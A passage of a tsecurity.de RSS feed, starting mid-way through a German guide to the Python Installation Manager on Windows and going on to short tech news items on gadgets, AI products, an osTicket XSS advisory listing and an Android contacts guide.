<li>den <a href="https://www.infoworld.com/article/2334832/intro-to-winget-microsofts-package-manager-for-windows.html" target="_blank">WinGet</a>-Paketmanager (<code>winget install 9NQ7512CXL7T</code>).</li>
</ul>



<p>Das bisherige <code>py</code>-Tool soll künftig durch den Installation Manager ersetzt werden, wobei das neue Tool das alte in Sachen Funktionalität deutlich übertrifft. Die Befehle, die zuvor funktioniert haben, können weiterhin verwendet werden. Einen nützlichen Überblick über alle wichtigen Kommandos rufen Sie mit <code>py help</code> auf:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-2.png" alt="Python Installation Manager help options" class="wp-image-4001984" width="835" height="799" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<p>Um einzusehen, welche Python-Versionen bereits auf Ihrem Windows-System vorhanden sind, nutzen Sie den Befehl <code>py list</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-4.png?w=1024" alt="Python Installation Manager listing versions of installed Python" class="wp-image-4001985" width="1024" height="310" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">IDG</p></div>



<p>Wenn Sie an bereits installierten Python-Instanzen Änderungen vornehmen möchten, müssen Sie diese manuell entfernen und anschließend mit dem Installation Manager neu installieren. Das ist denkbar einfach:</p>



<ul class="wp-block-list">
<li>Python-Versionen fügen Sie mit <code>py install <version></version></code> hinzu,</li>



<li>rufen diese nach der Installation mit <code>py -<version></version></code> auf, und</li>



<li>nutzen <code>py uninstall <version></version></code> für die Deinstallation.</li>
</ul>



<p>Um zu sehen, welche Python-Versionen über den Manager verfügbar sind, nutzen Sie <code>py list --online</code>. Die hier gelisteten Python-Installationen lassen sich zudem mit dem Befehl <code>py list -f=json</code> im JSON-Format exportieren (CSV und JSONL sind ebenfalls verfügbar). Die standardmäßige Python-Version wird in der Auflistung durch ein Sternchen markiert:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image_1168.png" alt="Default version of Python (3.14) shown with asterisk in Python Installation Manager" class="wp-image-4001989" width="686" height="249" sizes="auto, (max-width: 686px) 100vw, 686px"></figure><p class="imageCredit">IDG</p></div>



<p>Sobald Sie den Befehl <code>py</code> eingeben, wird diese Standard-Version aufgerufen. Falls Sie das ändern möchten, können Sie eine Umgebungsvariable definieren. Um etwa Python 3.12 als Standardversion festzulegen, würden Sie Powershell mit folgendem Kommando füttern:  </p>



<p><code>$Env:PYTHON_MANAGER_DEFAULT=„3.12“</code></p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>Ein Befehl wie <code>py install</code> könnte allerdings leicht mit vorkonfigurierten Befehlen in virtuellen Umgebungen oder mit einem anderen Alias kollidieren. Um das zu vermeiden, können Sie <code>pymanager</code> als eindeutigen Namen für den Installation Manager nutzen. Alle Befehle bleiben dabei unverändert, lediglich der Name der Executable ändert sich.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-8.png" alt='Running the Python Installation Manager with the "pymanager" alias instead of "py"' class="wp-image-4001991" width="853" height="875" sizes="auto, (max-width: 853px) 100vw, 853px"></figure><p class="imageCredit">IDG</p></div>



<p>Darüber hinaus ist es auch möglich, die Windows App Execution Aliases für Befehle wie <code>python</code> und <code>python3</code> anzupassen. Dazu geben Sie lediglich <code>py install --configure</code> ein. Sie werden dann aufgefordert, die Aliase Ihres Systems zu ändern:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-3.png" alt="Prompt to manage Windows app execution aliases from the Python Installation Manager" class="wp-image-4001992" width="835" height="324" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<h2 class="wp-block-heading">Python richtig upgraden</h2>



<p>Weniger umfangreiche Python-Revisionen (etwa von 3.7.2 auf 3.7.3) stellen im Regelfall kein Problem dar: Unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> erkennt der Installer automatisch die installierte Version und stößt das entsprechende Upgrade an – unter <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS in der Regel ebenso. Allerdings müssen auch alle virtuellen Umgebungen, die Sie erstellt haben, mit einem Upgrade versehen werden – das geschieht nicht automatisch.</p>



<p>Bei großen Revisionen (etwa von 3.12 auf 3.13) sollten Sie hingegen neue virtuelle Umgebungen innerhalb der einzelnen Projektverzeichnisse erstellen. Die meisten IDEs die Python unterstützen (zum Beispiel <a title="Microsoft Visual Studio Code" href="https://www.computerwoche.de/article/2815427/so-finden-sie-zum-richtigen-entwicklungs-tool.html" target="_blank">Microsoft Visual Studio Code</a>), erkennen das automatisch und ermöglichen Ihnen, zwischen den verschiedenen virtuellen Umgebungen hin- und her zu wechseln.</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2256282/how-to-install-python-the-smart-way.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Razer’s Soma Chroma is the wireless RGB gaming chair your setup didn’t know it needed, and it’s way better than the joke writes itself]]></title>
<description><![CDATA[Razer’s Soma Chroma is a wireless RGB gaming chair powered by a simple USB‑C power bank, keeping your setup clean while adding reactive lighting to your entire battlestation. The real surprise is the comfort. Dual‑density foam, an ergonomic lumbar arch, and a reinforced frame make it feel like a ...]]></description>
<link>https://tsecurity.de/de/3661957/windows-tipps/razers-soma-chroma-is-the-wireless-rgb-gaming-chair-your-setup-didnt-know-it-needed-and-its-way-better-than-the-joke-writes-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661957/windows-tipps/razers-soma-chroma-is-the-wireless-rgb-gaming-chair-your-setup-didnt-know-it-needed-and-its-way-better-than-the-joke-writes-itself/</guid>
<pubDate>Sat, 11 Jul 2026 15:56:08 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Razer’s Soma Chroma is a wireless RGB gaming chair powered by a simple USB‑C power bank, keeping your setup clean while adding reactive lighting to your entire battlestation. The real surprise is the comfort. Dual‑density foam, an ergonomic lumbar arch, and a reinforced frame make it feel like a genuine upgrade, not just an RGB stunt.]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic Adds A Dedicated In-App Browser To Claude Code Desktop]]></title>
<description><![CDATA[Anthropic recently announced a major update for developers using its desktop tools. The company just introduced a dedicated in-app browser for the Claude Code desktop application. This new feature allows users to access web pages, read documentation, and interact with online resources without eve...]]></description>
<link>https://tsecurity.de/de/3661886/ios-mac-os/anthropic-adds-a-dedicated-in-app-browser-to-claude-code-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661886/ios-mac-os/anthropic-adds-a-dedicated-in-app-browser-to-claude-code-desktop/</guid>
<pubDate>Sat, 11 Jul 2026 15:09:01 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic recently announced a major update for developers using its desktop tools. The company just introduced a dedicated in-app browser for the Claude Code desktop application. This new feature allows users to access web pages, read documentation, and interact with online resources without ever leaving their primary coding environment.



It aims to reduce interruptions and streamline how developers rely on artificial intelligence during daily software engineering tasks.



The new tool helps you research code without switching windows



According to the company, developers can now open framework references, check code repositories, and review live dashboards alongside their active project files. The development team highlighted the release on social media, stating, “Claude Code on desktop now has an in-app browser.” They explained that the AI assistant can easily “pull up docs, designs, or any other site.”



Additionally, it can read and click through web pages exactly like it interacts with local development servers. This eliminates the need to constantly bounce between a standalone browser and a coding workspace just to verify technical specifications or debug an application.



A sandboxed environment keeps your personal login data completely secure



Security remains a major focus for this desktop feature. The built-in browser operates in a completely clean and sandboxed profile. This means it does not access your personal browsing history or saved passwords. As the developers noted, the setup is highly flexible, allowing you to “choose whether sessions persist.”



If a user needs the system to act on their behalf using an active login, the company recommends sticking to the standard Chrome extension instead. The desktop browser is strictly for building and testing, protecting your identity while you work.



By integrating web access directly into the workspace, the company is pushing its coding assistant beyond a simple chat interface into a fully featured development platform. Instead of constantly switching between windows, programmers can keep their research and actual coding connected in one single place.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Watch Accounted for 90% of AI-Capable Smartwatch Shipments in Q1 2026]]></title>
<description><![CDATA[The latest market data reveals a massive lead for a familiar brand. According to recent research, the Apple Watch accounted for 90% of AI-capable smartwatch shipments in Q1 2026. This huge market share shows that Apple is leading the pack when it comes to bringing advanced computer thinking right...]]></description>
<link>https://tsecurity.de/de/3661327/ios-mac-os/apple-watch-accounted-for-90-of-ai-capable-smartwatch-shipments-in-q1-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661327/ios-mac-os/apple-watch-accounted-for-90-of-ai-capable-smartwatch-shipments-in-q1-2026/</guid>
<pubDate>Sat, 11 Jul 2026 07:53:29 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The latest market data reveals a massive lead for a familiar brand. According to recent research, the Apple Watch accounted for 90% of AI-capable smartwatch shipments in Q1 2026. This huge market share shows that Apple is leading the pack when it comes to bringing advanced computer thinking right to your wrist. 



The total shipments for edge artificial intelligence wearable devices jumped by 70% compared to last year, meaning more people are buying these smarter gadgets than ever before.



Health tracking drives the demand for smart local device processing



It is clear why people want these advanced devices. The fact that the Apple Watch accounted for 90% of AI-capable smartwatch shipments in Q1 2026 proves that buyers value local AI features. Instead of sending private health data to a cloud server, the watch processes everything on its own built-in chip. This setup powers features like fall detection, irregular heartbeat alerts, and sleep apnea tracking. The data stays private because it never leaves the actual device.



This local processing happens thanks to dedicated hardware. The tech giant started this trend back in 2023 by adding a specific neural engine to its wearable items. Other brands are only just starting to catch up to its hardware advantage. Huawei introduced a similar chip for its own watches recently, and Qualcomm plans to release a new platform soon to help other manufacturers build smarter gear. Until those alternatives hit the market, the leading brand remains basically unchallenged in this specific technology space.



The research highlights that health and fitness monitoring remain the absolute top reasons people want these smart features. Shipments of watches that can track blood pressure doubled over the last twelve months. Devices that can detect sleep apnea actually tripled in that same timeframe.]]></content:encoded>
</item>
<item>
<title><![CDATA[Setup.exe: Wie Windows 95 Installationsdateien erkannte - Golem.de]]></title>
<description><![CDATA[Seminar: IT-Security-Awareness für Systemadministratoren: virtueller Ein-Tages-Workshop ... Deshalb hielt Windows 95 einen versteckten Backupordner ( ...]]></description>
<link>https://tsecurity.de/de/3661068/it-security-nachrichten/setupexe-wie-windows-95-installationsdateien-erkannte-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661068/it-security-nachrichten/setupexe-wie-windows-95-installationsdateien-erkannte-golemde/</guid>
<pubDate>Sat, 11 Jul 2026 03:22:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Seminar: <b>IT</b>-<b>Security</b>-Awareness für Systemadministratoren: virtueller Ein-Tages-Workshop ... Deshalb hielt Windows 95 einen versteckten Backupordner ( ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Kyutai Releases MuScriptor: An Open-Weight Decoder-Only Transformer for Multi-Instrument Music Transcription to MIDI]]></title>
<description><![CDATA[MuScriptor is an open-weight, decoder-only Transformer from Kyutai and Mirelo. Trained on 170k real recordings plus 1.45M synthetic MIDIs, it transcribes full multi-instrument mixes into MIDI. The article covers its three-stage pipeline, benchmarks against YourMT3+, instrument conditioning, and s...]]></description>
<link>https://tsecurity.de/de/3660781/ai-nachrichten/kyutai-releases-muscriptor-an-open-weight-decoder-only-transformer-for-multi-instrument-music-transcription-to-midi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660781/ai-nachrichten/kyutai-releases-muscriptor-an-open-weight-decoder-only-transformer-for-multi-instrument-music-transcription-to-midi/</guid>
<pubDate>Fri, 10 Jul 2026 22:33:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>MuScriptor is an open-weight, decoder-only Transformer from Kyutai and Mirelo. Trained on 170k real recordings plus 1.45M synthetic MIDIs, it transcribes full multi-instrument mixes into MIDI. The article covers its three-stage pipeline, benchmarks against YourMT3+, instrument conditioning, and setup, with an interactive explainer demo.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/10/kyutai-releases-muscriptor-an-open-weight-decoder-only-transformer-for-multi-instrument-music-transcription-to-midi/">Kyutai Releases MuScriptor: An Open-Weight Decoder-Only Transformer for Multi-Instrument Music Transcription to MIDI</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2019-14750 | osTicket up to 1.10.6/1.12.0 setup/install.php Stored cross site scripting (Exploit 154005 / EDB-47226)]]></title>
<description><![CDATA[A vulnerability has been found in osTicket up to 1.10.6/1.12.0 and classified as problematic. This affects an unknown function of the file setup/install.php. Performing a manipulation results in cross site scripting  (Stored).

This vulnerability was named CVE-2019-14750. The attack may be initia...]]></description>
<link>https://tsecurity.de/de/3660766/sicherheitsluecken/cve-2019-14750-osticket-up-to-11061120-setupinstallphp-stored-cross-site-scripting-exploit-154005-edb-47226/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660766/sicherheitsluecken/cve-2019-14750-osticket-up-to-11061120-setupinstallphp-stored-cross-site-scripting-exploit-154005-edb-47226/</guid>
<pubDate>Fri, 10 Jul 2026 22:22:27 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/osticket">osTicket up to 1.10.6/1.12.0</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown function of the file <em>setup/install.php</em>. Performing a manipulation results in cross site scripting  (Stored).

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2019-14750">CVE-2019-14750</a>. The attack may be initiated remotely. In addition, an exploit is available.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[Introducing Conky Bubbles (osc26)]]></title>
<description><![CDATA[Conky is a graphical system monitoring program for Linux, for many years I have maintained it in several Linux Distributions including openSUSE. In that time I have come across a number of its limitations especially if your goal is to write a config file that will work out of the box across a wid...]]></description>
<link>https://tsecurity.de/de/3660477/it-security-video/introducing-conky-bubbles-osc26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660477/it-security-video/introducing-conky-bubbles-osc26/</guid>
<pubDate>Fri, 10 Jul 2026 19:24:30 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Conky is a graphical system monitoring program for Linux, for many years I have maintained it in several Linux Distributions including openSUSE. In that time I have come across a number of its limitations especially if your goal is to write a config file that will work out of the box across a wide range of machines rather than creating tailor made configs for each machine. Beyond that writing a conky config that looks really good takes significant effort and often a lot of manually adjusting the location of elements.

conky-bubbles aims to address the above issues using conky's lua integration and cairo to implement a layout engine, widgets, theming and hardware auto detection where possible.

In this talk I will cover the long on and off process that it has taken to get to this point and the many unexpected challenges that I have had to overcome, from licensing issues to learning how to implement font rendering and chasing down memory leaks in the interface between C++ and Lua. I also spent significant time working with existing open source projects and will talk about integrating with and using resources from them to speed up development.

I will then give a overview of how to setup and use and configure conky bubbles to meet your own needs. As well as running through a few examples.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Introducing Conky Bubbles (osc26)]]></title>
<description><![CDATA[Conky is a graphical system monitoring program for Linux, for many years I have maintained it in several Linux Distributions including openSUSE. In that time I have come across a number of its limitations especially if your goal is to write a config file that will work out of the box across a wid...]]></description>
<link>https://tsecurity.de/de/3660449/it-security-video/introducing-conky-bubbles-osc26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660449/it-security-video/introducing-conky-bubbles-osc26/</guid>
<pubDate>Fri, 10 Jul 2026 19:04:47 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Conky is a graphical system monitoring program for Linux, for many years I have maintained it in several Linux Distributions including openSUSE. In that time I have come across a number of its limitations especially if your goal is to write a config file that will work out of the box across a wide range of machines rather than creating tailor made configs for each machine. Beyond that writing a conky config that looks really good takes significant effort and often a lot of manually adjusting the location of elements.

conky-bubbles aims to address the above issues using conky's lua integration and cairo to implement a layout engine, widgets, theming and hardware auto detection where possible.

In this talk I will cover the long on and off process that it has taken to get to this point and the many unexpected challenges that I have had to overcome, from licensing issues to learning how to implement font rendering and chasing down memory leaks in the interface between C++ and Lua. I also spent significant time working with existing open source projects and will talk about integrating with and using resources from them to speed up development.

I will then give a overview of how to setup and use and configure conky bubbles to meet your own needs. As well as running through a few examples.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[ChatGPT Atlas Is Shutting Down, But Here Are Some Popular Alternatives]]></title>
<description><![CDATA[OpenAI is officially pulling the plug on its dedicated web browser, but that does not mean you have to give up on smart web navigation. Since ChatGPT Atlas failed to capture a massive audience, the company decided to shut it down and move its core features to the desktop app. If you still want a ...]]></description>
<link>https://tsecurity.de/de/3660299/ios-mac-os/chatgpt-atlas-is-shutting-down-but-here-are-some-popular-alternatives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660299/ios-mac-os/chatgpt-atlas-is-shutting-down-but-here-are-some-popular-alternatives/</guid>
<pubDate>Fri, 10 Jul 2026 18:01:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI is officially pulling the plug on its dedicated web browser, but that does not mean you have to give up on smart web navigation. Since ChatGPT Atlas failed to capture a massive audience, the company decided to shut it down and move its core features to the desktop app. If you still want a dedicated browser built around artificial intelligence tools, you have several great alternatives available.



Popular alternatives like Comet and Dia lead the browser pack



While the ChatGPT Atlas browser is shutting down, other platforms are stepping up to fill the gap. Perplexity regularly updates its Comet browser, which works nicely with different artificial intelligence systems. Comet started on the Mac but is now making its way to mobile devices like the iPhone and iPad.



Another big option comes from The Browser Company, which recently launched Dia as the official successor to Arc. If you want something experimental, Opera Neon bills itself as an AI browser, though it requires a monthly subscription. A newcomer called Aside is also gaining attention as a lightweight choice for Mac users who want to keep things simple.



Chrome extensions and Safari offer simpler ways to stay connected



You do not necessarily need a brand-new browser to get these smart features. Before ending Atlas, OpenAI released a dedicated Chrome extension that brings the chatbot directly to any browser built on the Chromium engine. Google also includes Gemini right inside Chrome, giving users multiple ways to get help without switching their primary internet tool.



For users who want to keep their current setup untouched, sticking with Safari is completely fine. You can simply use standard web browsers and rely on background software like ChatGPT Codex to handle your complex online tasks. Even with Atlas gone, having smart tools in your daily internet routine is easier than ever to set up.]]></content:encoded>
</item>
<item>
<title><![CDATA[Save $700 on LG's 32-inch UltraFine evo 6K Thunderbolt 5 monitor]]></title>
<description><![CDATA[Breathe new life into your Mac setup with LG's 32-inch UltraFine display that offers easy Thunderbolt 5 connectivity and 6K resolution. At $700 off, it's $240 cheaper than the Apple Studio Display too.Save $700 on the LG UltraFine 6K Display with Thunderbolt 5 - Image credit: LGThe LG 32-inch Ult...]]></description>
<link>https://tsecurity.de/de/3660235/ios-mac-os/save-700-on-lgs-32-inch-ultrafine-evo-6k-thunderbolt-5-monitor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660235/ios-mac-os/save-700-on-lgs-32-inch-ultrafine-evo-6k-thunderbolt-5-monitor/</guid>
<pubDate>Fri, 10 Jul 2026 17:42:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Breathe new life into your Mac setup with LG's 32-inch UltraFine display that offers easy Thunderbolt 5 connectivity and 6K resolution. At $700 off, it's $240 cheaper than the Apple Studio Display too.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68219-143794-lg-ultrafine-6k-monitor-deal-xl.jpg" alt="LG UltraFine evo 32-inch monitor on purple background, showing colorful abstract display; text highlights 6K resolution, Thunderbolt 5, HDR 600 with a SALE banner in the corner." height="720"><br><span>Save $700 on the LG UltraFine 6K Display with Thunderbolt 5 - Image credit: LG</span></div><br>The LG 32-inch UltraFine evo 6K Monitor pairs easily with modern Macs thanks to its Thunderbolt 5 port. And <strong><a href="https://www.amazon.com//dp/B0FR547FXH/?tag=apinsiderdeals-20" rel="nofollow" target="_blank">at $1,299.99</a></strong> after a $700 discount, this monitor comes in at least <a href="https://www.amazon.com/dp/B0GR1PJYT8/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">$240 cheaper</a> than the 5K 27-inch Apple Studio Display.<br><br><div class="embedable" data-id="457"></div><br><br><br> <a href="https://appleinsider.com/articles/26/07/10/save-700-on-lgs-32-inch-ultrafine-evo-6k-thunderbolt-5-monitor?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244926?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple iPhone Fold Battery Size Falls Short Of Massive Rumors]]></title>
<description><![CDATA[New leaks suggest that the very first folding smartphone from Apple might not pack the giant battery everyone initially hoped for. Early reports hinted at a record-breaking power cell, but fresh details show the actual capacity could be noticeably smaller. Even with a lower number on the final sp...]]></description>
<link>https://tsecurity.de/de/3659674/ios-mac-os/apple-iphone-fold-battery-size-falls-short-of-massive-rumors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659674/ios-mac-os/apple-iphone-fold-battery-size-falls-short-of-massive-rumors/</guid>
<pubDate>Fri, 10 Jul 2026 14:24:53 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New leaks suggest that the very first folding smartphone from Apple might not pack the giant battery everyone initially hoped for. Early reports hinted at a record-breaking power cell, but fresh details show the actual capacity could be noticeably smaller. Even with a lower number on the final spec sheet, the phone is still expected to easily last through a full day of regular use.



Regulatory filings reveal a smaller total battery capacity than expected



A reliable leaker known as Digital Chat Station recently shared new details on Chinese social media regarding the highly anticipated foldable iPhone. According to regulatory filings from an unnamed component supplier, the upcoming device will feature a total battery capacity of at least 4,883 mAh.



This exact number is quite a bit lower than previous reports. Back in February, sources claimed the new folding model would boast a massive 5,000 mAh battery to support the large internal screen. While the new supply chain numbers are a bit of a letdown for heavy users, hitting nearly 4,900 mAh inside an incredibly thin frame is still a solid engineering achievement.



The folding design splits power between two separate battery cells



Because the phone has to fold in half, the internal space is split into two sections. The regulatory documents show that the iPhone Fold will actually use two distinct batteries to run the device. One half of the chassis will house a smaller 1,921 mAh battery, while the other side will fit a larger 2,962 mAh cell.



Even though the total capacity falls short of those early 5,000 mAh rumors, the dual battery setup still offers plenty of juice. For comparison, the upcoming standard models are expected to feature a 4,288 mAh battery.



This means the folding iPhone will still pack about 14 percent more power than its traditional counterparts. If the manufacturer can optimize its software and the new display technology, buyers should have no problem getting reliable all day battery life out of the new hardware.]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix Looks at Live Channels While Ignoring Easy Software Fixes]]></title>
<description><![CDATA[Netflix is looking for fresh methods to keep its audience active on the platform. Recent internal discussions point to a measurable decline in subscriber engagement, meaning people are spending less time watching and finishing their shows. To repair this drop in daily viewership, the company is t...]]></description>
<link>https://tsecurity.de/de/3659597/ios-mac-os/netflix-looks-at-live-channels-while-ignoring-easy-software-fixes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659597/ios-mac-os/netflix-looks-at-live-channels-while-ignoring-easy-software-fixes/</guid>
<pubDate>Fri, 10 Jul 2026 13:53:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix is looking for fresh methods to keep its audience active on the platform. Recent internal discussions point to a measurable decline in subscriber engagement, meaning people are spending less time watching and finishing their shows. To repair this drop in daily viewership, the company is thinking about adding continuous live channels and bundling third-party streaming video services directly inside its main application.



The streaming platform considers continuous live channels to keep viewers engaged



Executives at Netflix believe that setting up permanent live channels could stop users from closing the app when they cannot decide what to watch. Instead of scrolling through endless menus, a viewer could just select a genre channel that constantly broadcasts movies and shows. This setup would also give the company a brand new way to display commercials that users cannot skip.



Alongside live channels, Netflix is looking into offering subscriptions to competing platforms like Peacock. It would sell these directly to users, acting as a central hub for different services.



A simple integration with existing platforms could easily solve the problem



While Netflix looks for complicated fixes, a very obvious solution is sitting right there. The service still refuses to let its content show up in the default Apple TV app. For years, users have asked for this basic feature so they can track all their favorite shows in one single place.



Netflix prefers to keep total control, forcing users to open its specific app rather than letting them browse its catalog alongside other options. However, if dropping engagement is truly a major concern, embracing Apple and its universal viewing guide might be the easiest way to get its original movies and shows in front of a larger audience. Sometimes the best way to get people to watch is simply to meet them where they already are.]]></content:encoded>
</item>
<item>
<title><![CDATA[The best Philips Hue accessories: 6 low-cost, big impact gadgets to upgrade your smart lighting setup]]></title>
<description><![CDATA[Smart bulbs are only the beginning; these are the affordable Philips Hue accessories our editors swear by.]]></description>
<link>https://tsecurity.de/de/3659420/it-nachrichten/the-best-philips-hue-accessories-6-low-cost-big-impact-gadgets-to-upgrade-your-smart-lighting-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659420/it-nachrichten/the-best-philips-hue-accessories-6-low-cost-big-impact-gadgets-to-upgrade-your-smart-lighting-setup/</guid>
<pubDate>Fri, 10 Jul 2026 12:48:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Smart bulbs are only the beginning; these are the affordable Philips Hue accessories our editors swear by.]]></content:encoded>
</item>
<item>
<title><![CDATA[The ultimate guide to Android contacts management]]></title>
<description><![CDATA[You’d think keeping tabs on your contacts would be about the simplest and most straightforward task imaginable in our modern connected world — wouldn’t you?



I sure would. But as I’ve learned over the years, that perfectly understandable instinct couldn’t be more inaccurate.



Effectively wran...]]></description>
<link>https://tsecurity.de/de/3659335/it-nachrichten/the-ultimate-guide-to-android-contacts-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659335/it-nachrichten/the-ultimate-guide-to-android-contacts-management/</guid>
<pubDate>Fri, 10 Jul 2026 12:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>You’d think keeping tabs on your contacts would be about the simplest and most straightforward task imaginable in our modern connected world — wouldn’t you?</p>



<p>I sure would. But as I’ve learned over the years, that perfectly understandable instinct couldn’t be more inaccurate.</p>



<p>Effectively wrangling your contacts on Android and keeping ’em manageable, organized, and optimized for efficiency really is a fine art. And in a way, it’s no wonder: Most of us have reached a point where our phones’ contacts are a sprawling goulash of earthlings from all different eras of our lives — clients, colleagues, college buddies, and, of course, your cousin Carl from Poughkeepsie.</p>



<p>Making matters even more complex is the fact that what constitutes “Android” is a wildly different experience from one device to the next. And most Android phone-makers don’t exactly make it easy for you to make the most of your messy contacts stew.</p>



<p>The good news, though, is that it doesn’t <em>have</em> to be so difficult. Today, we’ll start from square one and get your contacts in tip-top shape, no matter what type of Android phone you’re using or how many unruly old bosses’ email addresses you’ve got stored away.</p>



<p>By the time we’re done, your Android phone contacts will be as orderly as can be — and you’ll be equipped with all sorts of practical knowledge for harnessing their typically untapped potential.</p>



<h2 class="wp-block-heading">Part I: Android contacts streamlining</h2>



<p>First and foremost, we need to make sure we’re all on the same page — ’cause as we just mentioned a moment ago, the Android contacts situation is anything but standardized across the platform.</p>



<p>Specifically, if you’re using a Samsung phone, we need to get you off of Samsung’s subpar and proprietary contacts service and into Google’s better, smarter, and more platform-agnostic alternative.</p>



<p>Samsung’s main goal with its products, y’see, is to keep you within <em>its</em> own universe. The company wants you to continue using Samsung stuff and buying Samsung stuff, and it makes that more of a priority than giving you an optimal experience.</p>



<p>The company’s Contacts app is the perfect example: The app offers no noteworthy advantages over Google’s standard Android Contacts service, and it’s available <em>only</em> on Samsung-made Android devices. It’s less fully featured and pleasant to use than Google’s version, too, and it makes it much more difficult to access your contact info from a computer or any other type of device.</p>



<p>So why does Samsung insist on making that the default contacts service on its phones instead of sticking with Google’s readily available offering? Simple: because it locks you into Samsung’s self-serving ecosystem.</p>



<p>Let’s break you free, shall we?</p>



<ul class="wp-block-list">
<li>Open up the Contacts app on your phone (the one probably represented by a glaringly bright red icon).</li>



<li>Tap the three-dot menu icon in its upper-right corner, then tap “Settings” followed by “Sync contact accounts.”</li>



